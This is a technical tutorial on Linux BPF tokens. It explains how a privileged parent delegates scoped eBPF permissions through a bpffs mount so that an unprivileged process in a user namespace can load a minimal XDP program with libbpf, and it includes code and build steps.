This is what BPF Token solves. Introduced by Andrii Nakryiko and merged in Linux 6.9, BPF token is a delegation mechanism that lets a privileged process (like a container runtime or systemd) create a precisely scoped permission set for BPF operations, then hand it to an unprivileged process through a bpffs mount. The unprivileged process can load programs, create maps, and attach hooks, but only the types that were explicitly allowed. No broad capabilities required.

In this tutorial, we'll set up a delegated bpffs mount in a user namespace, derive a BPF token from it, and use libbpf to load and attach a minimal XDP program, all from a process that has zero BPF capabilities of its own.

The complete source code: https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/features/bpf_token

Introduction to BPF Token: Solving the Privilege Problem

The Problem: All-or-Nothing BPF Capabilities

Traditional eBPF requires CAP_BPF for program loading and map creation, plus additional capabilities like CAP_PERFMON for tracing, CAP_NET_ADMIN for networking hooks, and CAP_SYS_ADMIN for certain advanced operations. These capabilities are inherently system-wide: you cannot namespace or sandbox CAP_BPF. As the kernel documentation explains, this is by design: BPF tracing helpers like bpf_probe_read_kernel() can access arbitrary kernel memory, which fundamentally cannot be scoped to a single namespace.

This creates a real problem in multi-tenant environments:

Container isolation: A Kubernetes pod that needs to run a simple XDP program must be given CAP_BPF + CAP_NET_ADMIN, which also grants it the ability to load any BPF program type and create any map type. There's no way to say "you can load XDP programs but not kprobes."
CI/CD pipelines: A build job that tests an eBPF-based observability tool needs root-equivalent capabilities to load programs, even though the test only exercises a specific, well-known program type.
Third-party integrations: A service mesh sidecar that attaches sockops programs needs capabilities that also grant it the ability to trace every process on the host.

The result is that organizations either give broad BPF capabilities (weakening their security posture) or prohibit BPF entirely in unprivileged contexts (limiting the technology's adoption).

The Solution: Scoped Delegation Through bpffs

BPF token takes a different approach. Instead of trying to namespace capabilities (which is fundamentally unsafe for BPF), it introduces an explicit delegation model:

A privileged process (container runtime, init system, platform daemon) creates a bpffs instance with specific delegation options that define exactly which BPF operations are allowed.
The privileged process passes this bpffs mount to an unprivileged process (container, CI job, tenant workload).
The unprivileged process derives a BPF token from the bpffs mount. The token is a file descriptor that carries the delegated permission set.
When the unprivileged process makes bpf() syscalls (through libbpf or directly), it passes the token fd. The kernel checks permissions against the token instead of against the process's capabilities.

The token is scoped along four independent axes:

Delegation Option	What It Controls	Example
`delegate_cmds`	Which `bpf()` commands are allowed	`prog_load:map_create:btf_load:link_create`
`delegate_maps`	Which map types can be created	`array:hash:ringbuf`
`delegate_progs`	Which program types can be loaded	`xdp:socket_filter`
`delegate_attachs`	Which attach types are allowed	`xdp:cgroup_inet_ingress` or `any`

Each axis is a bitmask. If a bit isn't set, the corresponding operation is denied even if the token is present. This gives platform engineers fine-grained control: you can allow a container to load XDP programs with array maps but deny it access to kprobes, perf events, or hash-of-maps.

The User Namespace Constraint

One critical design decision: a BPF token must be created inside the same user namespace as the bpffs instance, and that user namespace must not be init_user_ns. This is intentional. It means:

A host-namespace bpffs (the one at /sys/fs/bpf) does not produce usable tokens. Tokens only work when the bpffs is associated with a non-init user namespace.
The privileged parent configures the bpffs before passing it to the child, but the child (in its own user namespace) is the one that creates and uses the token.
This design prevents a process with an existing token from using it to escalate privileges outside its namespace boundary.

How libbpf Makes It Transparent

For applications built with libbpf (which is most of them), token usage is nearly transparent. You have three options:

Explicit path: Set bpf_object_open_opts.bpf_token_path when opening the BPF object. libbpf will derive the token from the specified bpffs mount.
Environment variable: Set LIBBPF_BPF_TOKEN_PATH to point to the bpffs mount. libbpf picks it up automatically.
Default path: If the default /sys/fs/bpf is a delegated bpffs in the current user namespace, libbpf uses it implicitly.

Once the token is derived, libbpf passes it to every relevant syscall (BPF_MAP_CREATE, BPF_BTF_LOAD, BPF_PROG_LOAD, and BPF_LINK_CREATE) without any source-code changes in the BPF application.

Writing the eBPF Program

The BPF side of this demo is intentionally minimal: a tiny XDP program on loopback. This keeps the focus on the token workflow. Here's the complete source:

// SPDX-License-Identifier: GPL-2.0
#include <vmlinux.h>
#include <bpf/bpf_helpers.h>

char LICENSE[] SEC("license") = "GPL";

struct token_stats {
    __u64 packets;
    __u32 last_ifindex;
};

struct {
    __uint(type, BPF_MAP_TYPE_ARRAY);
    __uint(max_entries, 1);
    __type(key, __u32);
    __type(value, struct token_stats);
} stats_map SEC(".maps");

SEC("xdp")
int handle_packet(struct xdp_md *ctx)
{
    struct token_stats *stats;
    __u32 key = 0;

    stats = bpf_map_lookup_elem(&stats_map, &key);
    if (!stats)
        return 0;

    stats->packets++;
    stats->last_ifindex = ctx->ingress_ifindex;
    return XDP_PASS;
}

A few design choices to note:

BPF_MAP_TYPE_ARRAY was chosen because the delegation policy explicitly allows array maps. If we had used a hash map instead, loading would fail because the token doesn't grant hash map creation permission. This is the token model in action; even trivial program changes can be caught by the delegation policy.

SEC("xdp") matches the delegate_progs=xdp policy. If you changed this to SEC("kprobe/..."), the kernel would reject it at load time with an EPERM because kprobe isn't in the allowed program types.

XDP_PASS simply lets every packet through. The program's only purpose is to prove that a token-backed load and attach succeeded. In production, you'd replace this with real packet-processing logic.

User-Space Loader: Token-Backed Loading

The token_trace.c loader is a standard libbpf skeleton program with one key addition: it passes a bpf_token_path:

struct bpf_object_open_opts open_opts = {};

open_opts.sz = sizeof(open_opts);
open_opts.bpf_token_path = env.token_path;

skel = token_trace_bpf__open_opts(&open_opts);

From this point on, libbpf takes over. When it calls bpf(BPF_MAP_CREATE) to create stats_map, it includes the token fd. When it calls bpf(BPF_PROG_LOAD) for the XDP program, it includes the token fd. When it calls bpf(BPF_LINK_CREATE) to attach to the interface, it includes the token fd.

The rest of the loader is straightforward:

err = token_trace_bpf__load(skel);    // token used for map_create + prog_load
link = bpf_program__attach_xdp(skel->progs.handle_packet, ifindex);  // token used for link_create

After attaching, the loader reads the map before and after generating a test packet to verify the program executed:

err = bpf_map_lookup_elem(map_fd, &key, &before);
// ... generate UDP packet to 127.0.0.1 ...
err = bpf_map_lookup_elem(map_fd, &key, &after);
printf("delta          : %llu\n", after.packets - before.packets);

If the delta is 1, the XDP program was successfully loaded and attached using only delegated capabilities.

The Namespace Orchestrator: `token_userns_demo`

Because BPF token requires a non-init user namespace, running a bare token_trace -t /sys/fs/bpf on the host won't work. The token_userns_demo.c wrapper automates the complex namespace choreography. Here's the full sequence:

Step 1: Fork and Create Namespaces

parent (root, init_user_ns)          child (unprivileged, new userns)
         │                                        │
         │   fork()                               │
         ├────────────────────────────────────────>│
         │                                        │
         │                            unshare(CLONE_NEWUSER)
         │                            unshare(CLONE_NEWNS | CLONE_NEWNET)

The child creates a new user namespace (where it maps itself to uid/gid 0), a new mount namespace (so bpffs mounts are private), and a new network namespace (so lo is a fresh interface it can attach to).

Step 2: Create bpffs and Configure Delegation

parent (root, init_user_ns)          child (new userns)
         │                                        │
         │                            fs_fd = fsopen("bpf", 0)
         │   <───── send fs_fd via SCM_RIGHTS ────│
         │                                        │
    fsconfig(fs_fd, "delegate_cmds", ...)         │  (waiting for ack)
    fsconfig(fs_fd, "delegate_maps", "array")     │
    fsconfig(fs_fd, "delegate_progs", "xdp:...")  │
    fsconfig(fs_fd, "delegate_attachs", "any")    │
    fsconfig(fs_fd, FSCONFIG_CMD_CREATE)          │
         │                                        │
         │   ───────── send ack ─────────────────>│

The child calls fsopen("bpf", 0) to create a bpffs filesystem context in its user namespace, then sends the file descriptor to the parent via a Unix socket (SCM_RIGHTS). The parent, running as root in the init namespace, configures the delegation policy with fsconfig(), then materializes the filesystem with FSCONFIG_CMD_CREATE.

This two-step dance is necessary because: (a) the bpffs must be created in the child's user namespace (for the token to be valid there), but (b) only the privileged parent can set delegation options (because those options grant BPF capabilities).

Step 3: Mount and Load

child (new userns)
         │
    mnt_fd = fsmount(fs_fd, 0, 0)
    token_path = "/proc/self/fd/<mnt_fd>"
    set_loopback_up()
    exec("./token_trace", "-t", token_path, "-i", "lo")

The child materializes the bpffs as a detached mount (no mount point needed, since /proc/self/fd/<mnt_fd> gives a path), brings the loopback interface up in its network namespace, and execs token_trace with the bpffs path. From token_trace's perspective, it's just opening a BPF object with a token path. It doesn't know or care about the namespace setup.

Preparing a bpffs Mount Manually

If you want to experiment with the mount syntax outside the demo wrapper, the repository includes a helper script:

cd bpf-developer-tutorial/src/features/bpf_token
bash setup_token_bpffs.sh /tmp/bpf-token

This mounts bpffs at /tmp/bpf-token with:

delegate_cmds=prog_load:map_create:btf_load:link_create
delegate_maps=array
delegate_progs=xdp:socket_filter
delegate_attachs=any

Why socket_filter? libbpf performs a trivial program-load probe before loading the real BPF object. This probe uses a generic BPF_PROG_TYPE_SOCKET_FILTER program to detect kernel feature support. Without socket_filter in the delegation policy, the probe fails and libbpf refuses to proceed.

Why delegate_attachs=any? The same libbpf probe path also triggers attach-type validation in the kernel's token checking code. Using any avoids having to enumerate every possible attach type for probe compatibility.

Note that a host-namespace mount like this is useful for inspecting the delegation policy (e.g., with bpftool token list), but won't produce working tokens unless the bpf(BPF_TOKEN_CREATE) syscall comes from a matching non-init user namespace.

Compilation and Execution

Build all binaries:

cd bpf-developer-tutorial/src/features/bpf_token
make

Run the end-to-end demo:

sudo ./token_userns_demo

Expected output:

token path     : /proc/self/fd/5
interface      : lo (ifindex=1)
packets before : 0
packets after  : 1
delta          : 1
last ifindex   : 1

The delta: 1 confirms that the XDP program was successfully loaded and attached using a BPF token, with no CAP_BPF or CAP_SYS_ADMIN in the child process.

Add -v for verbose libbpf output to see the token being created and used:

sudo ./token_userns_demo -v

If you already manage your own delegated bpffs in a user namespace, you can run the loader directly:

./token_trace -t /proc/self/fd/<mnt-fd> -i lo

Real-World Applications

While this tutorial uses a minimal XDP program, the BPF token pattern scales to production scenarios:

Container runtimes (LXD, Docker, Kubernetes): Mount a delegated bpffs into a container with only the program and map types the workload needs. LXD already supports this through its security.delegate_bpf option.
CI/CD testing: Give build jobs the ability to load and test specific eBPF programs without granting them host-level capabilities. The delegation policy acts as an allowlist for BPF operations.
Multi-tenant BPF platforms: A platform daemon creates per-tenant bpffs mounts with different delegation policies. One tenant might be allowed XDP + array maps, while another might get tracepoint + ringbuf access.
LSM integration: Because BPF tokens integrate with Linux Security Modules, you can combine token delegation with SELinux or AppArmor policies for defense-in-depth. Each token gets its own security context that LSM hooks can inspect.

Summary

In this tutorial, we learned how BPF token provides a delegation model for eBPF privilege that goes beyond the binary "all or nothing" of Linux capabilities. We walked through the complete flow: a privileged parent configures a bpffs instance with specific delegation options, an unprivileged child in a user namespace derives a token from that bpffs, and libbpf transparently uses the token for map creation, program loading, and attachment. The result is a minimal XDP program running in an unprivileged context, something that was impossible before Linux 6.9.

BPF token is not a niche feature. It represents the kernel's answer to a fundamental question in the eBPF ecosystem: how do you safely share BPF capabilities in a multi-tenant world without granting unconstrained access to the BPF subsystem?